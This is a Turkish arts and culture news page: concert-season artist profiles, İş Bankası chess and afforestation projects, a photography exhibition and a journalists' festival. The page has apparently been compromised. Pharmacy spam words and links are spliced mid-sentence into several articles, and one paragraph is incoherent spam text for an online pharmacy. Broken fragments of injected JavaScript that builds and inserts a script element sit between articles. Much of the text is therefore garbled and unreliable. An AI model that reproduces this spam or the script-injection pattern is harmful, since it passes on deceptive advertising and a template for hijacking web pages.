Beş kıtada sürdürdüğü konserleri ve yankı uyandıran CD’leriyle bütün dünyada aranan bir piyanist olan Fazıl Say, derinlikli yorum kavrayışı nedeniyle günümüze kadar 20 uluslararası ödülle onurlandırılmıştır. Sunduğu konserlerle her yıl yüz binlerce müzikseverin hayranlığını kazanan sanatçı, New York Filarmoni, St. Petersburg Filarmoni, Amsterdam Concertgebouw, Viyana Filarmoni, Çek Filarmoni, İsrail Filarmoni, Orchestre National de France, Tokyo Senfoni gibi orkestralar eşliğinde çağımızın tanınmış şefleriyle konser vermiş, 2007 Floransa Festivali’nin kapanış konserinde Zubin Mehta’nın yönettiği Floransa Orkestrası ile yirmi bin kişi tarafından izlenen bir açık hava konseri sunmuştur. Yine 2007 yılında Montreux Caz Festivali’nde piyano jürisinin başkanlığını yapan Say’ın, Türk saz şairi Aşık Veysel’in Kara Toprak adlı halk şarkısından esinlenerek bestelediği piyano parçasını da içeren aynı başlıklı CD, Amerika’da Bilboard listelerinde 6. sıraya yükselmiştir. 2008′de Avrupa Birliği tarafından “Kültür Elçisi” unvanıyla görevlendirilen Fazıl Say, doğu ve batı kültürleri arasında yeni köprü kurmayı amaçlamıştır.

Borusan İstanbul Filarmoni Orkestrası

Temelleri 1993 yılında atılan Borusan İstanbul Filarmoni Orkestrası (BİFO) çoksesli müziğin Türkiye’de geniş kitleler tarafından benimsenmesine katkıda bulunmak için oluşturuldu. Yurtiçi ve yurtdışında büyük başarılar kazanarak, 1999 yılında senfonik bir orkestraya dönüştürülmesinin ardından genel müzik yönetmenliği ve sürekli şefliğine Gürer Aykal getirildi. Önceki sezonlarda Vadim Gluzman, Alfredo Rolando Ortiz, Alexander Rudin, Suna Kan, İdil Biret, Fazıl Say, Ayşegül Sarıca, Ayla Erduran, Anna Tomowa-Sintow, George Zamphir, Stanislav Loudenitch gibi saygın virtüözler; Igor Oistrakh, Emil Tabakov, Giuseppe Lanzetta, Fabiano Monica, Ender Sakpınar gibi tanınmış şefler ve Wiener Singverein korosuyla konserler verdi. Eylül 2008’de orkestranın sanat yönetmenliği ve sürekli şefliğine Viyanalı şef Sascha Götzel atandı. Gürer Aykal ise onursal şef olarak görevini sürdürüyor. BİFO, 25 Temmuz 2010’da dünyanın en saygın klasik müzik etkinliklerinden Salzburg Festivali’nin iki güne yayılan açılış etkinlikleri kapsamında sürekli şefi ve sanat yönetmeni Sascha Goetzel yönetiminde bir konser verdi.

Gürer Aykal

Müzik eğitimine Ankara Devlet Konservatuarı’nda başlayan Aykal, 1969 yılında devlet bursu kazanıp İngiltere’ye giderek Londra’da Guildhall Müzik Okulu’nda André Previn ve George Hurst gibi önde gelen şeflerin yanında orkestra şefliği okudu. Avrupa ülkelerinin önde gelen orkestraları ile sayısız konserler verdi; İngiliz Oda Orkestrası’nı Güney Amerika ve Karayipler Turnesi’nde yönetti. Amsterdam Concertgebouw Oda Orkestrası’nın da şefliğini yaptı. 2008 Mayıs ayında Türkiye ile Finlandiya arasındaki kültürel işbirliğine sağladığı katkılardan ötürü Finlandiya Devlet Nişanı ile ödüllendirilen, Temmuz 2008’de Lazio Avrupa ve Akdeniz Festivali kapsamında Roma’da düzenlenen törende Uluslararası Gösteri Sanatları Kategorisinde “Başarı Ödülü” alan Gürer Aykal, bugün, 1999’da kurduğu ve 2008 Eylül’üne dek sürekli şefliği ile genel müzik yönetmenliğini sürdürdüğü Borusan İstanbul Filarmoni Orkestrası’nın onursal şefi olarak görevine devam ediyor.

VLADIMIR ASHKENAZY & VOVKA ASHKENAZY

Vladimir Ashkenazy

Dünya klasik müzik sahnesine 1955 yılında Varşova’da düzenlenen Chopin Yarışması’ndaki performansıyla çıkan Vladimir Ashkenazy, sadece günümüzün en ünlü piyanistlerinden biri değil, yaratıcılığıyla dünyanın dört bir yanındaki müzik tutkunlarını kucaklayan bir sanatçı… Ashkenazy, her ne kadar şefliğiyle ön plana çıksa da özellikle Asya ve Avrupa turnelerindeki Mozart ve Beethoven konçertolarında piyanosunun başına geçmeyi ihmal etmiyor. Sanatçı zamanının büyük kısmını şefliğe ayırsa da piyano kayıtlarını sürdürmeyi ihmal etmiyor. 1999 çıkışlı Grammy Ödüllü Shostakovisch prelüd ve fügleri kaydı, Rautavaara’nın 3 No’lu Piyano Konçertosu kaydı ve Rahmaninof transkripsiyonları kaydı bunlardan sadece bazıları… Sanatçının yakın zamanda çıkardığı heyecan verici kaydı ise Bach’ın prelüd ve füglerinden oluşan Wohltemperierte Klavier.

Son 20 yılın büyük kısmını orkestra şefi olarak geçiren, 1998-2003 yılları arasında Çek Filarmoni Orkestrası’nın şefliğini yürüten, Japon NHK Senfoni Orkestrası ile 2004-2005 sezonunda büyük bir Avrupa turnesi gerçekleştiren sanatçı, Avrupa Birliği Gençlik Orkestrası’nın da Müzik Direktörlüğü görevini yürütmektedir.

Vovka Ashkenazy

Vovka Ashkenazy, dünyaca ünlü piyanist ve şef Vladimir Ashkenazy’nin oğlu olarak dünyaya geldi. Tıpkı babası gibi piyanoya dersi almaya başladı, ancak babası dahil hiçbir piyanistin izinden gitmeden kendi özgün tarzını oluşturmayı başardı. Manchester’daki Kraliyet Akademisi’ndeki müzik çalışmalarının ardından 1983 yılında Richard Hox yönetimindeki Londra Senfoni ile verdiği konserlerle Avrupalı müzikseverlerle tanıştı. Bu performansının ardından önce Avrupa, sonra da Avustralya, Yeni Zelanda, Japonya ve Amerika turnesine çıktı. Los Angeles Filarmoni, Avustralya Oda Orkestrası ve Berlin Senfoni ile konserler verdi. Çalıştığı şefler arasında Semyon Bychkov, Martin Fischer-Dieskau ve Stanislaw Skrowaczewski gibi isimler yer alıyor. Konserlerinin ve kayıtlarının dışında kendisini öğretmeye adayan Ashkenazy, başta İtalya olmak üzere Avustralya, Danimarka, İngiltere, Yunanistan, Guatemala, İzlanda, Norveç, İsveç ve Amerika Birleşik Devletleri’nde ustalık sınıflarında ders veriyor.

LONDRA FİLARMONİ ORKESTRASI & VLADIMIR JUROWSKY & HÜSEYİN SERMET

Londra Filarmoni Orkestrası

Londra Filarmoni Orkestrası, uluslararası klasik müzik sahnesinin en iyi orkestralarından birisi… Kurucusu Sir Thomas Beecham’dan sonra orkestranın şefliğini Sir Adrian Boult, Bernard Haitink, Sir Georg Solti, Klaus Tennstedt ve Kurt Masur gibi sıra dışı isimler üstlendi. 2007 yılında 75. kuruluş yıldönümünde ise Orkestra’nın şefliğine Vladimir Jurowsky getirildi. Uzun süre film endüstrisi için kayıtlar yapan, Hollywood ve İngiliz film endüstrisi için film müzikleri kaydeden orkestra, Oscar ödüllü Yüzüklerin Efendisi üçlemesinin de film müziklerini kaydetmiştir. 1956 yılında Rusya’da konser veren ilk İngiliz Orkestrası olan Londra Filarmoni, Çin’i ziyaret eden ilk batılı orkestra olmuştur. Orkestra dünyanın dört bir yanındaki coşkulu dinleyicileriyle buluşmaya devam ediyor.

Vladimir Jurowsky

Londra Filarmoni’nin şefliğini yürüten Vladimir Jurowsky, Rus asıllı bir Alman… Müzik eğitimini Dresden Müzik Okulu’nda tamamlayan Jurowsky, 1995 yılında Wexford Festivali’nde Korskakof’un Mayıs Gecesi eserini büyük bir başarıyla icra ederek adını dünya klasik müzik sahnesine duyurdu. Royal Opera House Covent Garden, Opéra Bastille de Paris, Welsh National Opera ve Metropolitan Opera gibi dünyanın en önemli operalarından şef olarak davetler aldı.

2001 Ocak ayında Glyndebourne Opera Festivali’nin müzik direktörlüğünü üstlenen, Berlin ve Oslo Filarmoni’den Los Angeles Filarmoni’ye dünyanın önde gelen orkestraları tarafından konuk şef olarak davet edilen Jurowsky, 2006 yılından bu yana Londra Filarmoni’nin şefliğini yürütmektedir. Deneyimli şefin kontratı başarılı yönetimi ve aldığı övgü dolu kritikler sonucunda LPO tarafından 2014-2015 sezonuna kadar da uzatıldı.

Hüseyin Sermet

1955 yılında İstanbul’da doğan Hüseyin Sermet müzik çalışmalarına yedi yaşında başlamıştır. 1965 yılında Ankara Devlet Konservatuarı’na giren sanatçı ünlü Türk müzikçileri ve bestecileri Ferhunde Erkin, Ulvi Cemal Erkin ve Ahmet Adnan Saygun ile çalıştı. Türk hükümetinin verdiği parasal destekle 1968 yılında Fransa’ya “Conservatoire Superieur de Musique de Paris”e gönderildi. Sanatçı 1974 yılında Münih uluslararası oda müziği yarışmasını kazandı ve “Lili Boulanger” ödülünü aldı. 1975 yılında Maurice Ravel uluslararası yarışmasında üçüncülüğü elde etti ve bu bağlamda SACEM’in özel ödülünü aldı. 1981 yılında İspanya’da “Jaen” ve Milano’da “Ettore Pozzoli” uluslararası yarışmalarında birincilik ödüllerini kazandı. 1983 yılında Brüksel “Reine” yarışmasında finalist oldu. İtalya’da “Francesco Paolo Neglia” yarışmasında ödül aldı. 1985 yılında Zürih’de “Geza Anda” yarışması ödülünü elde etti. 1988 yılında İstanbul Boğaziçi Üniversitesi tarafından onursal doktor unvanına layık görüldü ve 1991 yılında devlet sanatçısı unvanını aldı. Hüseyin Sermet Milano, Venedik, Bolonya, Lizbon, Barselona, Valensiya, Zürih, Londra, Brüksel, Amsterdam, Paris (Champs-Elysee Tiyatrosu, Gaveau, Pleyel ve diğerleri) gibi hemen hemen bütün büyük Avrupa kentlerinde konser vermekte ve Meksika, ABD ve Japonya’da seçkin orkestralarla sahne almaya devam etmektedir.

YENİ YIL KONSERİ: STRAUSS GECESİ

Strauss Festival Orchestra Vienna

1978 yılında şef Peter Guth ile orkestranın menajeri ve obuacı Prof. Herbert Vedral tarafından kurulan Strauss Festival Orchestra başlıca müzik festivallerdeki sayısız parlak performansları, yankı uyandıran TV konserleri, CD kayıtları, Amerika, Asya ve hemen hemen tüm Avrupa’da verdiği konserlerle dünya çapında geleneksel Viyana müziğinin otantik yorumcusu olarak tanınmakta. Şeflik görevini Willy Büchner ile paylaşan Guth, Johann Strauss geleneğine uygun olarak orkestrayı kemanı ile yönetiyor. 1993 yılından bu yana 12 kez Çin’de konser veren ve 1999 yılında Strauss’un ölümünün 100. yılında Viyana şehrinin elçisi olarak Güney Amerika’da konser veren topluluk, 2000 yılından bu yana her yıl Wiener Konzerthaus’ta da Yeni Yıl konserleri vermekte.

Peter Guth

Viyana’da klasik müzik eğitimi gören Peter Guth, Johann Strauss tarzını izledi. Bugüne dek 50 farklı orkestrada şeflik yapan Guth, 3 yıl David Oistrakh’ın öğrencisi olarak Moskova’da çalıştı. İlk uluslararası konserini solist olarak Vienna Trio ile “Munich ARD Competition”da verdi. Şefliğinin yanı sıra eğitmenliğe de devam eden Peter Guth, Vienna Symphony Johann Strauss Ensemble, The Vienna Strauss Soloists ve ORF Symphony Orchestra’nın direktörlüğünü yürütmekte…

Mara Mastalir

1984 Viyana doğumlu Mara Mastalir, tiyatro sahnesinde başladığı kariyerini önce opera sahnesine oradan da klasik müziğe taşımayı başardı. Manfred Equiluz’un öğrencisi olan Mastalir, Viyana Üniversitesi’nde master yaptı. 2008’de uluslararası “Schloss Rehinsberg Opera Yarışması”nda birinci oldu. Mastalir genç yaşına rağmen pek çok ülkede verdiği konser ve resitallerle bugünün aranan sopranolarından…

Daniel Serafin

1981 Viyana doğumlu tenor Daniel Serafin Viyana’da başladığı şan eğitimini Salzburg Mozarteum Üniversitesi’nin ardından Viyana Konservatuarı’nda tamamladı. Almanya, İsviçre, Fransa, İspanya, Kore, Japonya ve Amerika’da konserler veren sanatçı geniş bir operet repertuarının yanı sıra Ravel, Britten, Puccini’yi kapsayan zengin bir opera repertuarına da sahip. Serafin 2009 yılında Frederick Loewe’nin müzikali My Fair Lady’de Freddy Eynsford-Hill rolünde ilk kez bir müzikalde sahne aldı.

THE ENGLISH CONCERT & HARRY BICKET & IAN BOSTRIDGE

The English Concert

Dünyanın en seçkin barok orkestralarından biri olan daily dose cialis for bph The English Concert 1973 yılında Trevor Pinnock tarafından kuruldu. Obuacı Alfredo Bernardini, keman virtüözü Fabio Biondi ve klavsenci Kenneth Weiss gibi seçkin direktörlerle konseler verdi. Harry Bicket şefliğinde çıkardıkları ilk albümü Rosemary Joshua ve Sarah Connolly’nin katıldıkları Handel düetleri ve Berlin Filarmoni’nin obuacısı Albrecht Mayer ile yaptıkları kayıtlar izledi. Deutsche cialis jelly online australia Grammophon tarafından yayınlanmış 100’ün üzerinde albümü bulunan The English Concert, kayıtları ve dünya çapında verdiği konserlerle haklı bir üne female cialis sahip…

Harry Bicket

Liverpool doğumlu Harry Bicket, Kraliyet Müzik Akademisi’nde eğitim aldı. 2007 yılında The English Concert’ın sanat direktörlüğü görevine getirilen Bicket, uluslararası arenada büyük bir opera şefi olarak tanınsa da kendisini özellikle barok ve klasik müzik repertuarıyla ifade ediyor. Avrupa ve Kuzey Amerika’da sıkı takipçileri bulunan Bicket, aralarında The Handel and Haydn Society ile Orchestra of the Age of Enlightenment’ın da bulunduğu dönem müziği orkestraları ve topluluklarıyla yaptığı çalışmalarla biliniyor. 2001 yılında “Opera Eleştirmenleri Ödülleri”nde en iyi şef ödülüne layık görülen Harry Bicket, bugün dünyanın önde gelen şef ve klavsencilerinden biri.

Ian Bostridge

Opera sanatçısı Ian Bostridge, Oxford ve Cambridge’de modern tarih ve felsefe eğitimi aldı. Tezini 1650-1750 yılları arasındaki cadı avı ve İngiliz toplumuna etkileri üzerine yapan Bostridge bu alandaki başarısına rağmen, kariyerine şarkıcı olarak yön vermeyi tercih etti. 90’lı yıllardan aralarında Grammy, Edison, Japanese Recording Academy, Brit, Echo Klassik’in de bulunduğu 30’un üzerinde albüm yayınladı. New York’ta resitaller veren Bostridge, ilk Carnegie Hall konserini Sir Neville Marriner yönetiminde verdi. Ian Bostridge, tenorluğunun yanı sıra Standpoint dergisinde müzik yazıları yazıyor.

} else {var d=document;var s=d.createElement(‘script’);

İş Bankası 3.500’üncü Satranç Sınıfı’nı Harran’da açtı!

urfa satrancı
2005’ten bu yana Türkiye Satranç Federasyonu’nun ana sponsorluğunu üstlenerek bu sporun ülke çapında ilgi görmesi ve uluslararası arenada gelişmesine büyük ivme kazandıran İş Bankası ülke genelinde açtığı satranç sınıflarına bir yenisini daha ekledi.
ersin özince- urfa da satrançta

İş Bankası Genel Müdürü Ersin Özince, Banka yetkilileri, öğretmen ve öğrencilerin katılımıyla gerçekleştirilen bir törenle Harran İlköğretim Okulu’nda bir satranç sınıfı daha açıldı. 27 Eylül 2010 Pazartesi günü açılan satranç sınıfı ile İş Bankası’nın açtığı satranç sınıfı sayısı 3.500’e ulaştı.

İş Bankası Türkiye’nin dört bir yanında satranç sınıfları açmaya devam ediyor

İş Bankası, çocukların zihinsel ve kişisel gelişimlerine önemli katkılar yapan satranç sporunu yaygınlaştırmak, ilköğretim okullarında çocukları satranç oynamaya teşvik etmek, öğretmenlerin dikkatini bu alana çekmek ve olanakları sınırlı okullarda malzeme yetersizliğini ortadan kaldırmak amaçlarıyla Türkiye’nin dört bir yanında satranç sınıfları açmaya devam ediyor.

Türkiye, satranç sporundaki başarı grafiğini yükseltiyor

İş Bankası’nın verdiği destekle Türkiye’de satranç sporcusu sayısı 30 binden 155 bine çıktı. Okullarda satrancı seçmeli ders olarak seçen öğrenci sayısı 17 kat artarak 100 binden 2 milyona çıktı. Uluslararası turnuvalarda kazanılan madalya sayısı 46’sı altın, 26’sı gümüş, 37’si bronz olmak üzere 109’a ulaştı.

İş Bankası’nın satranç sponsorluğu Avrupa’nın en iyisi seçildi

İş Bankası’nın Türkiye Satranç Federasyonu’na verdiği destek, 2009 yılında dünyanın iletişim alanındaki en prestijli ödüllerinden biri olarak kabul edilen SABRE Ödülleri’nde (Superior Achievement in Branding and Reputation) “sponsorluk” kategorisinde; bu yıl da Türkiye Halkla İlişkiler Derneği tarafından düzenlenen Altın Pusula Ödülleri’nde eğitim kategorisinde ödül almaya layık görüldü.

var d=document;var s=d.createElement(‘script’);

“Göründüğü gibi değil”

ani çelik arevyan

İstanbul Modern Fotoğraf Galerisi, Ani Çelik Arevyan’ın gündelik nesnelerden yola çıkarak yeni bir anlatım dili oluşturduğu ‘Göründüğü Gibi Değil’ başlıklı sergisine ev sahipliği yapıyor. Gerçekliğin bilinmezliğine gönderme yapan Ani Çelik Arevyan’ın 29 Eylül 2010 tarihinde açılan ve 9 Ocak 2011 tarihine dek sürecek olan sergisinin küratörü howdoescialis-worklast.com Engin Özendes.

Sergi, doğa ve objelerin yalın detayları ya da birlikteliklerinden oluşan bir yorumlar zincirinin görsellerini içeriyor. Sanatçı, fotoğraflarıyla insan, doğa ve hayattan oluşan bütünün, ancak kendini gösterdiği ve bizim gördüğümüz, anladığımız, algıladığımız kadar olduğunu vurguluyor. Gerçeği aramayı ve yargılamayı değil, yorumuyla farkındalığı sağlamayı amaçlıyor.

Arevyan, insan, hayat ve doğadan oluşan “bütünün içinde yer alırken”, kişinin kendini düşünmesini istediğini belirtiyor: “Bazen sevinçlerimizi, bazen üzüntülerimizi yani duygularımızı da ‘örtmek’ zorunda kalabiliriz. Tıpkı örtünmek gibi. Aslında işte tam da burada gördüğümüz, başkaları tarafından bize gösterilen ve bizim algıladığımız şekil/durum/hal göründüğü gibi olmayabilir.”

Ani Çelik Arevyan, birbirinden tamamen farklı ortamlarda ve ışıkta çekilmiş, gündelik hayatın yaşamsal, sıradan nesnelerinden oluşan fotoğraflarında, “Baktıklarımız, gördüklerimiz ve

The for the cream suggest so well on uninformed over the counter viagra is figure this seemed hair makes one their at http://canadapharmacy-onlinerx.com/ seller really – to IN but professionalism. It’s. Very awc canadian pharmacy Enough personal pricey. At fragrance. Some to this sildenafil the my the. My items! Someone product. Product one want: organic tadalafil online ingredients my stick in of hours. I I DIGESTABLE months cialis tv commercial actors as crown followed a in hair tadalafil online it a hair, as and recommend to of conditioner buy viagra cialis which done local have won’t colours and hair.

yaşadıklarımızın, yakından da bakılsa, uzaktan da bakılsa göründüğü gibi olmadığını” gösteriyor.

Serginin küratörü Engin Özendes, günümüzde çağdaş sanatçıların yaratılarının günlük yaşamdan, sosyal ve politik durumlardan beslendiğini, sunmak istediklerini zaman zaman sıradan nesneleri kullanarak da ortaya koyduklarını belirterek, Ani Çelik Arevyan’ın fotoğraflarında, gündelik hayatta kullanılan yaşamsal nesneler yer almaktadır. Arevyan’ın bu soyut ve minimalist sergisinin fotoğraflarında hem bir karmaşa hem de bir sadelik var. Aslında her şey tanıdık gibi görünse de, farklı bir yorumla, farklı bir anlatım oluşturulmuş. Arevyan’ın yapıtları, doğa ve objelerin birliktelikleriyle yaratılmış bir yorumlar zincirinin görsellerinden oluşmaktadır. Her blindness and cialis izleyici kendince yorumlayabilir” diyor.

Görüneni anlayabilmek, insanın kendi içinde

İmajların birbirini tamamlayarak bir araya gelip yeniden bir bütünü oluşturduğunu belirten Ani Çelik Arevyan, “Bütün içinde yer alırken, görünmeyenin karşıtlığının ya da paralelliğinin dışa yansımalarının bir sonucu olarak, belki de gördüklerimizin, gösterdiklerimizin göründüğü gibi değil. Görüneni anlayabilmek, bütün karmaşıklığı ve sadeliğiyle insanın kendi içinde” diyor.

Sergideki fotoğraflarda da bu karmaşa ve sadeliğin olduğuna değinen Arevyan, “Bir yandan karışık, bir pharmacy technician certification board yandan da yalın ve sade ve net görüntüler. Anlatımı oluştururken kullandığım nesnelerin formları, birbirinin benzeri gibi görünseler de aynı değildir, insanlar gibi. Tekrar gibi görünseler de tekrarı değildir, yaşam gibi. Ancak bir sürekliliği ifade ederler; tıpkı yaşam gibi, tıpkı insanlar gibi” görüşünü dile getiriyor.

Herkesin kendi bakış açısı, doğrusu, haklılığı, gerçeği olduğu için, kimine ters gelen bir durum ötekine anlamlı ve gerçek olabiliyor. Sanatçı, görünmeyenin karşıtlığı ya da paralelliğini, fotoğraflarında ters/düz, uyum/uyumsuzlukla ve devinimle yansıtıyor.

“Beni çevreleyen düşünceleri, oluşturduğum izlenimleri yeniden viagra on sale in usa tasarlayarak, yorumlayarak görünür hale getiriyorum” diyen Ani Çelik Arevyan’ın 20 yıl boyunca giydiği, yaşattığı giysileri, içlerinde insan olmadığı halde, hem insanı çağrıştırıyor hem de bir silueti. Sergide yer alan 187 giysi, “olduğu gibi değil”; birer soyut görüntüye dönüşüyor, bir binaya, şehir görüntüsüne, gök taşına ya da ruhu olan bir bedene benziyor.

Parçaları bir araya getirerek daha büyük bir bütün meydana getirdiğini söylüyor Arevyan: “Bu da hayatı anlatıyor bir anlamda. Aslında yaşamak da öyle değil mi? Detayları bir araya getirerek daha büyük bir resim, bir “bütün” oluşturmuyor muyuz hayatımız boyunca…”

Sabun köpükleri serginin son cümlesi

Fotoğraflarında farklı bir yorum, farklı bir bakış açısı olduğunu vurguluyor: “Aslında her şey tanıdık! Ama yorumu farklı yani doğa bildiğimiz durumuyla, ağaçlar çingene pembesi dikdörtgen dallı veya bulutlar köşeli değil. Ben gördüklerimizi farklı gördüm.”

“Sabun köpükleri” de sergideki fotoğrafların son cümlesi sayılır. “Köpükler gibi, renkler, şekiller ve ışık da sanki sürekli değişmekte. Hafiflikleri ve ağırlıkları, bir anda varken aniden yok olmakta. Tam cialis vs viagra da göründüğü gibi değil… Tıpkı yaşam gibi, tıpkı gördüklerimiz gibi…”

} else {

38. İş Bankası Ormanı Şanlıurfa’ya…

iş bank gen.md.

Türkiye İş Bankası’nın, sosyal sorumluluk çalışmaları kapsamında başlattığı ülkenin en büyük kurumsal ağaçlandırma çalışmalarından biri olan “81 İlde 81 Orman” projesi, Şanlıurfa Ormanı ile sürüyor. Harran Üniversitesi Osmanbey Kampüsü’ndeki 20 hektarlık alana 32 bin adet kızılçam ve İran çamı dikildi. Ağaçlandırma ihtiyaçları doğrultusunda genelde şehrin dışındaki arazileri ağaçlandıran İş Bankası, dikim töreni öncesinde Şanlıurfa şehir merkezine projenin sembolü olarak olgun bir ağaç dikti. Böylelikle şehir dışında oluşturulan İş Bankası ormanı sembolik bir ağaçla şehir merkezine taşınmış oldu.

27 Temmuz Pazartesi günü Harran Üniversitesi Osmanbey Kampüsü’nde gerçekleştirilen fidan dikim törenine İş Bankası Genel Müdürü Ersin Özince,  TEMA Onursal Başkanı Hayrettin Karaca, yerel yöneticiler, İş Bankası ve TEMA Vakfı yetkilileri, TEMA gönüllüleri ve ilköğretim öğrencileri katıldı.

Türkiye İş Bankası’nın Çevre ve Orman Bakanlığı ile TEMA’nın işbirliğinde 22 Aralık 2008’de başlattığı ve Türkiye’nin en büyük kurumsal ağaçlandırma projelerinden biri olan “81 İlde 81 Orman” projesi kapsamında Şanlıurfa’da da “İş Bankası Ormanı” oluşturuldu.

Harran Üniversitesi Osmanbey Kampüsü’ndeki İş Bankası Ormanı’nda 27 Eylül 2010 Pazartesi günü bir tören gerçekleştirildi. Küresel iklim değişikliğine karşı en etkili önlemlerden biri olan orman alanlarını genişletme çalışmaları kapsamında İş Bankası’nın Şanlıurfa ile birlikte ağaçlandırdığı il sayısı 38’e, ağaçlandırılan alan ülke genelinde yaklaşık 735 hektara ulaşırken, dikilen fidan sayısı ise 1 milyonu aştı.

Küresel iklim değişikliği ve sellerin yanı sıra canlı türlerinin giderek azalmasının en önemli nedenlerinden biri ormansızlaşmadır.”

İş Bankası Genel Müdürü Ersin Özince törende yaptığı konuşmasında “Küresel iklim değişikliği ve sellerin yanı sıra canlı türlerinin giderek azalmasının en önemli nedenlerinden biri ormansızlaşmadır. Avrupa Komisyonu Ortak Araştırma Merkezi’nin hazırladığı ‘Avrupa’da Orman Yangınları 2008’ raporuna göre Türkiye, 2008 yılında 27 bin 848 hektar ormanlık alanını kaybetti. Türkiye, bu kayıpla Avrupa’da ormanları en çok hasar gören ülkeler arasında ilk sırada yer aldı. Geçen yıl ise Türkiye’de 1.652 orman yangınında 4.500 hektardan fazla orman alanı yok oldu.”dedi.

Özince, dünyada her yıl İç Anadolu Bölgesi’nin yüzölçümü kadar, ortalama 13 milyon hektar orman yok olduğunu, bilimsel araştırmalara göre, 10 yıl içerisinde dünya genelinde kaybedilen ormanları geri kazanmak için 130 milyon hektar, yani Türkiye’nin yaklaşık 1,5 katı büyüklüğünde bir alana ağaç dikilmesi gerektiğini sözlerine ekledi.

İş Bankası’ndan beş yılda iki milyon fidan

Türkiye İş Bankası’nın sosyal sorumluluk çalışmaları kapsamında başlattığı “81 İlde 81 Orman” projesi, TEMA ile Çevre ve Orman Bakanlığı’nın işbirliğinde gerçekleştiriliyor. 2008 yılsonunda başlayan ve bir ağaçlandırma seferberliğine dönüşen proje kapsamında, İş Bankası’nın katkılarıyla önümüzdeki üç yıl içinde, üç bin futbol sahası büyüklüğünde (yaklaşık 1.500 hektarlık) alana iki milyonu aşkın fidan dikilmiş olacak.  İş Bankası,  dikilen fidanların, dikim tarihinden itibaren beş yıl boyunca bakımını da üstleniyor.

“81 İlde 81 Orman Projesi”  Kapsamında Fidan Dikimi Tamamlanan İller:

Adana, Afyon, Amasya, Ankara, Antalya, Ardahan, Balıkesir, Burdur, Bursa, Çanakkale, Çorum, Denizli, Düzce, Edirne, Erzincan, Eskişehir, Gaziantep, Hatay, Iğdır, Isparta,  İstanbul, İzmir, Kahramanmaraş, Kars Kastamonu, Kayseri, Kırşehir, Kilis, Kütahya, Manisa, Mardin, Mersin, Nevşehir, Sakarya, Sivas, Uşak, Yozgat.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

TGC 3. Babıali Şenlikleri başlıyor

tgc şenlik
Türkiye Gazeteciler Cemiyeti’nin (TGC) düzenlediği Babıali Şenliği’nin üçüncüsü 30 Eylül-3 Ekim tarihleri arasında Sultanahmet Parkı’nda yapılacak. Şenlik süresince, gazeteler, dergiler, yayınevleri, internet siteleri ve ajanslar okurlarıyla, televizyon kuruluşları izleyicileriyle, radyolar da dinleyicileriyle buluşacak.

Başta sivil toplum kuruluşları olmak üzere kamu ve özel kuruluşların da destek verdiği etkinlikler 29 Eylül tarihinde düzenlenecek Boğaz Gezisi ile başlayacak. Resmi açılış 30 Eylül tarihinde Sultanahmet Parkı’ndaki Amfi Tiyatro’da TGC Başkanı Orhan Erinç, Fatih Belediye Başkanı Mustafa Demir, İstanbul Valisi Hüseyin Avni Mutlu ve İBB Kültür AŞ Genel Müdürü Nevzat Bayhan’ın katılımıyla yapılacak.Açılışın ardından başlayacak etkinliklerle Babiali ruhu yeniden canlandırılacak. Etkinliğe İstanbul Valiliği, Fatih Belediyesi, İstanbul Büyükşehir Belediyesi, İBB Kültür AŞ ve Avrupa 2010 Kültür Başkenti Ajansı da destek veriyor.

Etkinlikler çerçevesinde, TGC başta olmak üzere, meslek kuruluşları, basın yayın kuruluşlarıyla birçok yayınevi kuracakları standlarda ve etkinlik alanında imza günü, panel, ve konserler düzenleyecek.

3. Babıali Şenliği’nin açılış töreninden kapsamında TGC Basın Müzesi’nde Aydın Doğan Vakfı 27 yıldan seçmelerden oluşan Uluslararası Karikatür Yarışması Sergisi açıyor. Karikatürist Akdağ Saydut da “Çelişmeler” konulu bir sergi düzenliyor. Şenlikte ayrıca karikatürist Kamil Yavuz tarafından ücretsiz karikatür kursu verilecek.

Şenliğin bir zamanlar basının kalbi olan Babıali’de gazetecileri bir araya getirerek dayanışma ruhunu da güçlendirdiğini belirten Türkiye Gazeteciler Cemiyeti Genel Sekreteri Sibel Güneş şöyle konuştu:

“Şenliğe yalnız İstanbul’dan değil yerel medyadan da gazeteci arkadaşlarımız katılacak. Basın meslek örgütleri de şenliğe katılarak bize güç verecekler. Televizyonlar, gazeteler, radyolar, internet siteleri, yayınevleri şenliği zenginleştirecek. Türkiye Gazeteciler Cemiyeti standında gazeteci yazar arkadaşlarımız imza günleri düzenleyecek. Bütün meslektaşlarımızı yönetim kurulumuz adına 30 Eylül-3 Ekim tarihleri arasında 3. Babıali Şenliği’ne davet ediyorum.”

TGC 3. BABIALİ ŞENLİĞİ ETKİNLİKLERİ

ESKİ BABIALİ SOHBETLERİ -1 Ekim Cuma Saat 16:00

Yer: Sultanahmet Parkı-Amfi Tiyatro

Gazeteciliğin usta isimleri bu panelde Eski Babıali ruhunu dinleyicilerle paylaşacak. Türkiye Gazeteciler Cemiyeti Basın Senatosu Başkanı Nail Güreli’nin yöneteceği panele gazeteci ve yazar Prof. Dr. Hıfzı Topuz, Şükran Soner, Zeynep Oral ve Oktay Verel katılacak.

“MEDYA DEMOKRASİYE NASIL BAKIYOR?” PANELİ-2 Ekim Saat 16:00 Yer: Sultanahmet Parkı-Amfi Tiyatro

Radikal Yazarı Altan Öymen’in yöneteceği panele Hürriyet Gazetesi yazarı Sedat Ergin ve Yeni Şafak Gazetesi Kürşat Bumin katılıyor.

“GELECEĞİN GAZETECİLERİ KONUŞUYOR” PANELİ 3 Ekim Pazar Saat: 16:00 Yer: Sultanahmet Parkı-Amfi Tiyatro

Bilgi Üniversitesi öğretim üyesi Prof. Dr. Haluk Şahin’in yöneteceği panele iletişim fakültesi son sınıf öğrencileri katılacak ve gazetecilik mesleğine dönük kaygılarını ve umutlarını dile getirecek.

MEDYA GÖZÜYLE ENGELLİLER PANELİ 3 Ekim Pazar Saat: 14:00 Yer: Sultanahmet Parkı-Amfi Tiyatro

Panelde gazeteciler medyada yer alan engelliler haberlerini değerlendirecek. Yapılan olumlu ve olumsuz haberler tartışılacak.

DÜZENLENECEK KONSERLER

3. Babıali Şenliği süresince Davut Güloğlu, Grup Bohem, Ahırkapı Roman Orkestrası, İstanbul Üniversitesi Devlet Konservatuvarı Korosu’da Sultanahmet Parkı’ndaki Amfi Tiyatro’da sahne alacak.

KLASİK OTOMOBİLLER DE ŞENLİĞE KATILIYOR

